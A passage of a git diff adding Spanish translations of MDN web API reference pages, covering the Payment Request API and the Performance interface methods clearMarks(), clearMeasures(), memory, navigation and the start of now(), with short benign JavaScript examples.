+   <th>Prestación</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico (en {{domxref("Element")}})</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Soporte en {{domxref("Document")}} y {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Los interfaces puros {{domxref("ParentNode")}} y {{domxref("ChildNode")}}.</li>
+ <li>
+  <div class="syntaxbox">Tipos de objetos que implementan este interfaz puro: {{domxref("Document")}}, {{domxref("Element")}}, y {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/es/web/api/payment_request_api/index.html b/files/es/web/api/payment_request_api/index.html
new file mode 100644
index 0000000000..376a9899c2
--- /dev/null
+++ b/files/es/web/api/payment_request_api/index.html
@@ -0,0 +1,136 @@
+---
+title: API de Solicitud de Pago
+slug: Web/API/Payment_Request_API
+tags:
+  - API
+  - API de Solicitud de Pago
+  - Comercio
+  - Contexto seguro
+  - Intermediário
+  - Pago
+  - Referencia
+  - Solicitud de Pago
+  - Tarjeta de Crédito
+translation_of: Web/API/Payment_Request_API
+---
+<div>{{DefaultAPISidebar("Payment Request API")}}{{securecontext_header}}</div>
+
+<p><span class="seoSummary">El API de solicitud de pago provee una experiencia consistente tanto para comerciantes, como para usuarios. No es una nueva forma de pagar; más bien, es una manera para que los usuarios puedan seleccionar su forma de pago preferida para pagar por cosas, y que esa información esté disponible para el comerciante.</span></p>
+
+<h2 id="Solicitud_de_pago_conceptos_y_uso">Solicitud de pago conceptos y uso</h2>
+
+<p>Muchos problemas relacionados con el abandono de carros de compras en línea pueden deberse a los formularios de pago, los cuales pueden ser complicados y consumir demasiado tiempo para llenarse y a veces requieren muchos pasos para completarse. El API de Petición de Pago intenta reducir el número de pasos necesarios para completar un pago en línea, potencialmente haciendo a un lado los formularios de pago. Hace el proceso de pago mucho más fácil recordando los datos del usuario, los cuales son entregados al comerciante ojalá sin requerid un formulario HTML.</p>
+
+<p>Ventajas de usar la API de Solicitud de Pago con "basic-card" (pagos basados en cartas):</p>
+
+<ul>
+ <li><strong>Experiencia de compra rápida</strong>: Los usuarios ingresan sus datos una vez en el navegador y luego ya están listos para pagar por productos y servicios en la web. Ellos ya no tienen que llenar los mismos datos repetidamente a través de los diferetes sitios.</li>
+ <li><strong>Experiencia consistente en todos los sitios (que soporten la API):</strong> Como la hoja de pago es controlada por el navegador, puede adaptar la experiencia al usuario. Esta puede incluir la localización de la UI en el lenguaje preferido del usuario.</li>
+ <li><strong>Accesibilidad</strong>: Como el navegador controla los elementos de entrada de la hoja de pago, puede garantizar una accesibilidad uniforme al teclado y al lector de pantalla en cada sitio web sin necesidad de que los desarrolladores hagan algo. Un navegador web puede incluso ajustar el tamaño de la fuente o el color de contraste de la hoja de pago, haciéndola más confortable para el usuario al momento de realizar el pago.</li>
+ <li><strong>Administración de credenciales</strong>: Los usuarios pueden administrar sus tarjetas de crédito y direcciones de envío directamente en el navegador. Un navegador puede incluso sincronizar estas "credenciales" a través de los dispositivos, haciendo más fácil a los usuarios ir de un computador de escritorio a un dispositivo móvil y de vuelta otra vez para realizar compras.</li>
+ <li><strong>Manejo constante de Errores:</strong> El navegador puede checkear la validez de los números de tarjetas, y puede indicarle al usuario si una tarjeta ha expirado (o si está cerca de hacerlo). El navegador puede automáticamente sugerir que tarjeta usar basado en los patrones de uso anteriores o las restricciones del comerciante (p.e., "sólo aceptamos  Visa o Mastercard"), o permitir al usuario definir cual de ellas es su tarjeta favorita o por defecto.</li>
+</ul>
+
+<p>Para solicitar un pago, a página web crea un objeto {{domxref("PaymentRequest")}} en respuesta a una acción del usuario que inicia el pago, como hacer click en un botón "Comprar". El <code>PaymentRequest</code> permite a la página web intercambiar información agente de usuario (user agent) mientras que el usuario provee los datos para completar la transacción.</p>
+
+<p>Puedes encontrar una guía completa en <a href="/en-US/docs/Web/API/Payment_Request_API/Using_the_Payment_Request_API">Usando la API de Solicitud de Pago</a>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: La API solo está disponibledentro de elementos {{htmlelement("iframe")}} cross-origin si tienen el atributo {{htmlattrxref("allowpaymentrequest","iframe")}}.</p>
+</div>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref('PaymentAddress')}}</dt>
+ <dd>Un objeto que contiene la dirección; usada para facturación y despacho, por ejemplo.</dd>
+ <dt>{{domxref('PaymentRequest')}}</dt>
+ <dd>Un objeto que provee la API para crear y administrar la interfaz de pago del {{Glossary("user agent", "user agent's")}}.</dd>
+ <dt>{{domxref('PaymentRequestEvent')}}</dt>
+ <dd>Un evento entregado a un manejador de pagos cuando un {{domxref("PaymentRequest")}} es realizado.</dd>
+ <dt>{{domxref('PaymentRequestUpdateEvent')}}</dt>
+ <dd>Permite que la página web actualice los detalles de la solicitud de pago en respuesta a una acción del usuario.</dd>
+ <dt>{{domxref('PaymentMethodChangeEvent')}}</dt>
+ <dd>Representa al usuario cambiando el instrumento de pago (por ejemplo, cambiando de una tarjeta de crédito a una tarjeta de débito).</dd>
+ <dt>{{domxref('PaymentResponse')}}</dt>
+ <dd>Objeto devuelto después de que el usuario selecciona un método de pago y aprueba una solicitud de pago.</dd>
+ <dt>{{domxref('MerchantValidationEvent')}}</dt>
+ <dd>Representa el navegador que requiere que el comerciante (sitio web) se valide a sí mismo como autorizado para usar un manejador de pagos en particular (por ejemplo, registrado como autorizado para usar Apple Pay).</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Diccionarios">Diccionarios</h2>
+
+<dl>
+ <dt>{{domxref("AddressErrors")}}</dt>
+ <dd>Un diccionario que contiene cadenas que proporcionan explicaciones descriptivas de cualquier error en cualquier entrada de {{domxref ("PaymentAddress")}} que tenga errores.</dd>
+ <dt>{{domxref("PayerErrors")}}</dt>
+ <dd>Un diccionario que contiene cadenas que proporcionan explicaciones descriptivas de cualquier error relacionado con los atributos de correo electrónico, teléfono y nombre de {{domxref ("PaymentResponse")}}.</dd>
+ <dt>{{domxref("PaymentDetailsUpdate")}}</dt>
+ <dd>Un objeto que describe los cambios que deben realizarse en los detalles del pago en caso de que el servidor necesite actualizar la información después de la instanciación de la interfaz de pago, pero antes de que el usuario comience a interactuar con ella.</dd>
+</dl>
+
+<h3 id="Diccionarios_relacionados_para_la_especificación_Basic_Card">Diccionarios relacionados para la especificación Basic Card</h3>
+
+<dl>
+ <dt>{{domxref("BasicCardChangeDetails")}}</dt>
+ <dd>Un objeto que proporciona información de dirección redactada que se proporciona como {{domxref ("PaymentMethodChangeEvent.methodDetails", "methodDetails")}} en el evento {{event ("paymentmethodchange")}} enviado al {{domxref ("PaymentRequest" )}} cuando el usuario cambia la información de pago.</dd>
+ <dt>{{domxref("BasicCardErrors")}}</dt>
+ <dd>Un objeto que proporciona mensajes de error asociados con los campos del objeto {{domxref ("BasicCardResponse")}} que no son válidos. Esto se usa como el valor de la propiedad {{domxref ("PaymentValidationErrors.paymentMethod", "paymentMethod")}} en el objeto {{domxref ("PaymentValidationErrors")}} enviado al {{domxref ("PaymentRequest")}} cuando ocurre un error.</dd>
+ <dt>{{domxref('BasicCardRequest')}}</dt>
+ <dd>Define una estructura de objeto para contener detalles de la solicitud de pago, como el tipo de tarjeta.</dd>
+ <dt>{{domxref('BasicCardResponse')}}</dt>
+ <dd>Define una estructura de objeto para los detalles de la respuesta de pago, como el número o la fecha de vencimiento de la tarjeta utilizada para realizar el pago y la dirección de facturación.</dd>
+</dl>
+
+<h2 id="Specificaciones">Specificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Payment')}}</td>
+   <td>{{Spec2('Payment')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Basic Card Payment')}}</td>
+   <td>{{Spec2('Basic Card Payment')}}</td>
+   <td>Define {{domxref ("BasicCardRequest")}} y {{domxref ("BasicCardResponse")}}, entre otras cosas necesarias para manejar el pago con tarjeta de crédito</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Payment Method Identifiers')}}</td>
+   <td>{{Spec2('Payment Method Identifiers')}}</td>
+   <td>Define los identificadores de los métodos de pago y cómo se validan y, en su caso, se acuñan y se registran formalmente en el W3C.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<h3 id="Interfaz_PaymentRequest">Interfaz PaymentRequest</h3>
+
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, consulte https://github.com/mdn/browser-compat-data y envíenos un "pull request".</div>
+
+<p>{{Compat("api.PaymentRequest", 0)}}</p>
+</div>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Payment_Request_API/Using_the_Payment_Request_API">Using the Payment Request API</a></li>
+ <li><a href="/en-US/docs/Web/API/Payment_Request_API/Concepts">Payment processing concepts</a></li>
+ <li><a href="https://webkit.org/blog/8182/introducing-the-payment-request-api-for-apple-pay/">Introducing the Payment Request API for Apple Pay</a></li>
+ <li><a href="https://developers.google.com/pay/api/web/guides/paymentrequest/tutorial">Google Pay API PaymentRequest Tutorial</a></li>
+ <li><a href="https://github.com/w3c/payment-request-info/wiki/FAQ">W3C Payment Request API FAQ</a></li>
+ <li>Feature Policy directive {{httpheader("Feature-Policy/payment", "payment")}}</li>
+</ul>
diff --git a/files/es/web/api/performance/clearmarks/index.html b/files/es/web/api/performance/clearmarks/index.html
new file mode 100644
index 0000000000..dca7aa8ac1
--- /dev/null
+++ b/files/es/web/api/performance/clearmarks/index.html
@@ -0,0 +1,95 @@
+---
+title: performance.clearMarks()
+slug: Web/API/Performance/clearMarks
+tags:
+  - API
+  - Referencia
+  - Rendimiento Web
+  - metodo
+translation_of: Web/API/Performance/clearMarks
+---
+<div>{{APIRef("User Timing API")}}</div>
+
+<p>El método <strong><code>clearMarks()</code></strong> elimina la <em>marca llamada</em> del búfer de rendimiento de entrada del navegador. Si el método es llamado sin argumentos, todos los {{domxref("PerformanceEntry","performance entries")}} con un {{domxref("PerformanceEntry.entryType","entry type")}} de "<code>mark</code>" serán eliminados del búfer de rendimiento de entrada.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>performance</em>.clearMarks();
+<em>performance</em>.clearMarks(name);
+</pre>
+
+<h3 id="Argumentos">Argumentos</h3>
+
+<dl>
+ <dt>nombre {{optional_inline}}</dt>
+ <dd>Un {{domxref("DOMString")}} representando el nombre de la marca de tiempo. Si este argumento es omitido, todos los {{domxref("PerformanceEntry","performance entries")}} con un {{domxref("PerformanceEntry.entryType","entry type")}} de "<code>mark</code>" serán eliminados.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<dl>
+ <dt>vacío</dt>
+ <dd></dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>El siguiente ejemplo muestra ambos usos del método <code>clearMarks()</code>.</p>
+
+<pre class="brush: js">// Create a small helper to show how many PerformanceMark entries there are.
+function logMarkCount() {
+  console.log(
+    "Found this many entries: " + performance.getEntriesByType("mark").length
+  );
+}
+
+// Create a bunch of marks.
+performance.mark("squirrel");
+performance.mark("squirrel");
+performance.mark("monkey");
+performance.mark("monkey");
+performance.mark("dog");
+performance.mark("dog");
+
+logMarkCount() // "Found this many entries: 6"
+
+// Delete just the "squirrel" PerformanceMark entries.
+performance.clearMarks('squirrel');
+logMarkCount() // "Found this many entries: 4"
+
+// Delete all of the PerformanceMark entries.
+performance.clearMarks();
+logMarkCount() // "Found this many entries: 0"
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('User Timing Level 2', '#dom-performance-clearmarks', 'clearMarks()')}}</td>
+   <td>{{Spec2('User Timing Level 2')}}</td>
+   <td>Se clarifica <code>clearMarks()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('User Timing', '#dom-performance-clearmarks', 'clearMarks()')}}</td>
+   <td>{{Spec2('User Timing')}}</td>
+   <td>Definición básica.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("api.Performance.clearMarks")}}</p>
+</div>
diff --git a/files/es/web/api/performance/clearmeasures/index.html b/files/es/web/api/performance/clearmeasures/index.html
new file mode 100644
index 0000000000..63fa0dd936
--- /dev/null
+++ b/files/es/web/api/performance/clearmeasures/index.html
@@ -0,0 +1,96 @@
+---
+title: performance.clearMeasures()
+slug: Web/API/Performance/clearMeasures
+tags:
+  - API
+  - Referencia
+  - Rendimiento Web
+  - metodo
+translation_of: Web/API/Performance/clearMeasures
+---
+<div>{{APIRef("User Timing API")}}</div>
+
+<p>El método <strong><code>clearMeasures()</code></strong> elimina <em>la medida llamada </em>del búfer de rendimiento de entrada, si el método es llamado sin argumentos, todos los {{domxref("PerformanceEntry","performance entries")}} con un {{domxref("PerformanceEntry.entryType","entry type")}} de "<code>measure</code>" serán eliminados del búfer de rendimiento de entrada.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>performance</em>.clearMeasures();
+<em>performance</em>.clearMeasures(name);
+</pre>
+
+<h3 id="Argumentos">Argumentos</h3>
+
+<dl>
+ <dt>nombre {{optional_inline}}</dt>
+ <dd>Un {{domxref("DOMString")}} representando el nombre de la marca de tiempo. Si el argumento se omite, todos los {{domxref("PerformanceEntry","performance entries")}} con un {{domxref("PerformanceEntry.entryType","entry type")}} de "<code>measure</code>" serán eliminados.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<dl>
+ <dt>vacío</dt>
+ <dd></dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>En el siguiente ejemplo se muestran los dos usos del método <code>clearMeasures()</code> .</p>
+
+<pre class="brush: js">// Create a small helper to show how many PerformanceMeasure entries there are.
+function logMeasureCount() {
+  console.log(
+    "Found this many entries: " + performance.getEntriesByType("measure").length
+  );
+}
+
+// Create a bunch of measures.
+performance.measure("from navigation");
+performance.mark("a");
+performance.measure("from mark a", "a");
+performance.measure("from navigation");
+performance.measure("from mark a", "a");
+performance.mark("b");
+performance.measure("between a and b", "a", "b");
+
+logMeasureCount() // "Found this many entries: 5"
+
+// Delete just the "from navigation" PerformanceMeasure entries.
+performance.clearMeasures("from navigation");
+logMeasureCount() // "Found this many entries: 3"
+
+// Delete all of the PerformanceMeasure entries.
+performance.clearMeasures();
+logMeasureCount() // "Found this many entries: 0"
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('User Timing Level 2', '#dom-performance-clearmeasures', 'clearMeasures()')}}</td>
+   <td>{{Spec2('User Timing Level 2')}}</td>
+   <td>Se clarifica <code>clearMeasures()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('User Timing', '#dom-performance-clearmeasures', 'clearMeasures()')}}</td>
+   <td>{{Spec2('User Timing')}}</td>
+   <td>Definición básica.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("api.Performance.clearMeasures")}}</p>
+</div>
diff --git a/files/es/web/api/performance/index.html b/files/es/web/api/performance/index.html
new file mode 100644
index 0000000000..00d3cbfe16
--- /dev/null
+++ b/files/es/web/api/performance/index.html
@@ -0,0 +1,142 @@
+---
+title: Performance
+slug: Web/API/Performance
+tags:
+  - API
+  - Interfaz
+  - Referencia
+  - Rendimiento
+  - Rendimiento Web
+  - Tiempo de navegación
+translation_of: Web/API/Performance
+---
+<div>{{APIRef("High Resolution Time")}}</div>
+
+<p>La interfaz <strong><code>Performance</code></strong> representa información relacionada con el tiempo de rendimiento para la página dada.</p>
+
+<p>Un objeto de este tipo puede ser obtenido por el llamado de el atributo de solo lectura {{domxref("Window.performance")}}.</p>
+
+<div class="note">
+<p><strong><em>Nota</em>:  </strong>Esta interfaz y sus miembros están disponibles en <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>, exceptuando en los mencionados abajo. También, tenga en cuenta que las marcas y medidas de rendimiento son por contexto. Si crea una marca en el hilo principal (u otro worker), no puedes verlo en un hilo de un worker, y vice versa.</p>
+</div>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>La interfaz <code>Performance</code> no hereda ninguna propiedad.</em></p>
+
+<dl>
+ <dt>{{domxref("Performance.navigation")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd>Un objeto del legado {{domxref("PerformanceNavigation")}} que provee contexto útil acerca de operaciones, incluidas en los tiempos listados en <code>timing</code>, incluyendo si la página fue cargada o refrescada, cuántas redirecciones ocurrieron, entre otros. No disponible en workers</dd>
+ <dt>{{domxref("Performance.timing")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd>Un objeto del legado {domxref("PerformanceTiming")}} que contiene información relacionada con la latencia.</dd>
+ <dt>{{domxref("Performance.memory")}} {{readonlyInline}} {{Non-standard_inline}}</dt>
+ <dd>Una <em>no standarizada</em> extensión añadida a Chrome, esta propiedad provee un objeto con información básica de uso de memoria. <strong>No deberías usar </strong>esta <em>no estandarizada </em>API.</dd>
+ <dt>{{domxref("Performance.timeOrigin")}} {{readonlyInline}} {{Non-standard_inline}}</dt>
+ <dd>Retorna una marca de tiempo de alta precisión de la hora de inicio de la medida de rendimiento.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em><em>La interfaz <code>Performance</code> no hereda ningún método</em></em>.</p>
+
+<dl>
+ <dt>{{domxref("Performance.clearMarks()")}}</dt>
+ <dd>Elimina la marca dada del búfer de entrada de rendimiento del navegador.</dd>
+ <dt>{{domxref("Performance.clearMeasures()")}}</dt>
+ <dd>Elimina las <em>medida</em> dadas del búfer de entrada del navegador.</dd>
+ <dt>{{domxref("Performance.clearResourceTimings()")}}</dt>
+ <dd>Elimina todas las {domxref("PerformanceEntry","performance entries")}} con una {{domxref("PerformanceEntry.entryType","entryType")}} de "<code>resource</code>" del búfer de datos de rendimiento del navegador.</dd>
+ <dt>{{domxref("Performance.getEntries()")}}</dt>
+ <dd>Devuelve una lista de objetos {{domxref("PerformanceEntry")}} basados en el <em>filtro dado.</em></dd>
+ <dt>{{domxref("Performance.getEntriesByName()")}}</dt>
+ <dd>Devuelve una lista de objetos {{domxref("PerformanceEntry")}} basados en el <em>nombre</em> dado y el tipo de <em>entrada</em>.</dd>
+ <dt>{{domxref("Performance.getEntriesByType()")}}</dt>
+ <dd>Devuelve una lista de objetos {{domxref("PerformanceEntry")}} de el tipo de <em>entrada</em> dado.</dd>
+ <dt>{{domxref("Performance.mark()")}}</dt>
+ <dd>Crea un {{domxref("DOMHighResTimeStamp","timestamp")}} en el  <em>búfer de entrada de rendimiento</em> del navegador.</dd>
+ <dt>{{domxref("Performance.measure()")}}</dt>
+ <dd>Crea un {{domxref("DOMHighResTimeStamp","timestamp")}} nombrado en el  <em>búfer de entrada de rendimiento</em> del navegador entre dos especificadas marcas (conocidas como la <em>marca de inicio</em> y <em>la marca final, </em>respectivamente).</dd>
+ <dt>{{domxref("Performance.now()")}}</dt>
+ <dd>Retorna un {{domxref("DOMHighResTimeStamp")}} representando el número de milisegundos transcurridos desde un instante de referencia.</dd>
+ <dt>{{domxref("Performance.setResourceTimingBufferSize()")}}</dt>
+ <dd>Define el tamaño del búfer de temporización de recursos de "<code>resource</code>"  a los objetos {{domxref("PerformanceEntry.entryType","type")}} {{domxref("PerformanceEntry","performance entry")}}.</dd>
+ <dt>{{domxref("Performance.toJSON()")}}</dt>
+ <dd>Es un jsonizador que retorna un objeto json que respresenta el objecto <code>Performance</code>.</dd>
+</dl>
+
+<h2 id="Eventos">Eventos</h2>
+
+<p>Escucha a estos eventos que están usando <code>addEventListener()</code> o por asignación de un escuchador de eventos a la propiedad <code>oneventname</code> de esta interfaz.</p>
+
+<dl>
+ <dt>{{DOMxRef("Performance.resourcetimingbufferfull_event", "resourcetimingbufferfull")}}</dt>
+ <dd>Disparado cuando "<a href="https://developer.mozilla.org/en-US/docs/Web/API/Performance/setResourceTimingBufferSize">resource timing buffer</a>" está lleno.<br>
+ También disponible usando la propiedad {{DOMxRef("Performance.onresourcetimingbufferfull", "onresourcetimingbufferfull")}}. </dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time Level 2', '#the-performance-interface', 'toJSON()')}}</td>
+   <td>{{Spec2('Highres Time Level 2')}}</td>
+   <td>Se define el método <code>toJson()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time', '#the-performance-interface', 'Performance')}}</td>
+   <td>{{Spec2('Highres Time')}}</td>
+   <td>Se define el método <code>now()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Navigation Timing', '#sec-window.performance-attribute', 'Performance')}}</td>
+   <td>{{Spec2('Navigation Timing')}}</td>
+   <td>Se definen las propiedades <code>timing</code> and <code>navigation</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Performance Timeline Level 2', '#extensions-to-the-performance-interface', 'Performance extensions')}}</td>
+   <td>{{Spec2('Performance Timeline Level 2')}}</td>
+   <td>Cambia la interfaz <code>getEntries()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Performance Timeline', '#sec-window.performance-attribute', 'Performance extensions')}}</td>
+   <td>{{Spec2('Performance Timeline')}}</td>
+   <td>Se definen los métodos <code>getEntries()</code>, <code>getEntriesByType()</code> y <code>getEntriesByName()</code> .</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Resource Timing', '#extensions-performance-interface', 'Performance extensions')}}</td>
+   <td>{{Spec2('Resource Timing')}}</td>
+   <td>Se definen los métdos <code>clearResourceTimings()</code> y <code>setResourceTimingBufferSize()</code> y la propiedad <code>onresourcetimingbufferfull</code> .</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('User Timing Level 2', '#extensions-performance-interface', 'Performance extensions')}}</td>
+   <td>{{Spec2('User Timing Level 2')}}</td>
+   <td>Se clarifican los métodos <code>mark()</code>, <code>clearMark()</code>, <code>measure()</code> y <code>clearMeasure()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('User Timing', '#extensions-performance-interface', 'Performance extensions')}}</td>
+   <td>{{Spec2('User Timing')}}</td>
+   <td>Se definen los métodos <code>mark()</code>, <code>clearMark()</code>, <code>measure()</code> y <code>clearMeasure()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('<span style="line-height: 1.5;">Frame Timing', '#extensions-performance-interface','Performance extensions')}}</span></td>
+   <td>{{Spec2('User Timing')}}</td>
+   <td>Se definen los métodos <code>clearFrameTimings()</code>, <code>setFrameTimingBufferSize()</code>, y <code>onframetimingbufferfull</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("api.Performance")}}</p>
+</div>
+</div>
diff --git a/files/es/web/api/performance/memory/index.html b/files/es/web/api/performance/memory/index.html
new file mode 100644
index 0000000000..91c3dd3e0b
--- /dev/null
+++ b/files/es/web/api/performance/memory/index.html
@@ -0,0 +1,42 @@
+---
+title: Performance.memory
+slug: Web/API/Performance/memory
+translation_of: Web/API/Performance/memory
+---
+<p>{{APIRef}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>timingInfo</em> = <em>performance</em>.memory</pre>
+
+<h2 id="Atributos">Atributos</h2>
+
+<dl>
+ <dt><code>jsHeapSizeLimit</code></dt>
+ <dd>El tamaño máximo del heap en bytes que está disponible para el contexto.</dd>
+ <dt><code>totalJSHeapSize</code></dt>
+ <dd>El total del heap asignado, en bytes. The total allocated heap size, in bytes.</dd>
+</dl>
+
+<dl>
+ <dt>usedJSHeapSize</dt>
+ <dd>El actualmente activo segmento de heap de JS, en bytes.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Ninguna.</p>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("api.Performance.memory")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>The {{domxref("Performance")}} interface it belongs to.</li>
+</ul>
diff --git a/files/es/web/api/performance/navigation/index.html b/files/es/web/api/performance/navigation/index.html
new file mode 100644
index 0000000000..62bef8feb5
--- /dev/null
+++ b/files/es/web/api/performance/navigation/index.html
@@ -0,0 +1,58 @@
+---
+title: Performance.navigation
+slug: Web/API/Performance/navigation
+tags:
+  - API
+  - Deprecado
+  - HTTP
+  - Legado
+  - Propiedad
+  - Rendimiento
+  - Solo lectura
+  - Tiempo de navegación
+translation_of: Web/API/Performance/navigation
+---
+<p>{{APIRef("Navigation Timing")}}</p>
+
+<div class="warning">
+<p>Esta propiedad está deprecada en <a href="https://w3c.github.io/navigation-timing/#obsolete">Navigation Timing Level 2 specification</a>.</p>
+</div>
+
+<p>La propiedad de solo lectura <code><strong>Performance</strong></code><strong><code>.navigation</code></strong> del legado devuelve un objeto {{domxref("PerformanceNavigation")}} representado el tipo de navegación que ocurre en el contexto de navegación dado, tales como el número de redirecciones necesarias para traer el recurso.</p>
+
+<p>Esta propiedad no está disponible en workers.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>navObject</em> = <em>performance</em>.navigation;</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Navigation Timing', '#sec-window.performance-attribute', 'Performance.navigation')}}</td>
+   <td>{{Spec2('Navigation Timing')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("api.Performance.navigation")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>The {{domxref("Performance")}} interface it belongs to.</li>
+</ul>
diff --git a/files/es/web/api/performance/now/index.html b/files/es/web/api/performance/now/index.html
new file mode 100644
index 0000000000..64f73a4916
--- /dev/null
+++ b/files/es/web/api/performance/now/index.html
@@ -0,0 +1,166 @@
+---
+title: performance.now()
+slug: Web/API/Performance/now
+tags:
+  - API
+  - Referencia
+  - Rendimiento
+  - Web Performance API
+  - metodo
+translation_of: Web/API/Performance/now
+---
+<div>{{APIRef("High Resolution Timing")}}</div>
+
+<p>El método <code><strong>performance.now()</strong></code> devuelve un {{domxref("DOMHighResTimeStamp")}}, medido en milisegundos, con una precisión de cinco milésimas de segundo (5 microsegundos).</p>
+
+<p>El valor devuelto representa el tiempo transcurrido desde el <strong>tiempo de origen</strong><strong> </strong>(la propiedad {{domxref("PerformanceTiming.navigationStart")}}). En un web worker, el tiempo de origen es el momento en que se crea su contexto de ejecución (ej. hilo o proceso). En una ventana, es el momento en que el usuario navegó (o confirmó la navegación, si la confirmación fue necesaria) al documento actual. Tenga en cuenta los siguientes puntos:</p>
+
+<ul>
+ <li>En los workers dedicados creados desde un contexto {{domxref("Window")}}, el valor del worker será inferior a <code>performance.now()</code> en la pestaña que generó el worker. Solía ser igual que <code>t0</code> del contexto principal, pero fue cambiado.</li>
+ <li>En service workers compartidos, el valor en el worker podría ser superior al del contexto principal debido a que la ventana puede ser creada después de esos workers.</li>
+</ul>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>t</em> = performance.now();</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">var t0 = performance.now();
+hacerAlgo();
+var t1 = performance.now();
+console.log("La llamada a hacerAlgo tardó " + (t1 - t0) + " milisegundos.");
+</pre>
+
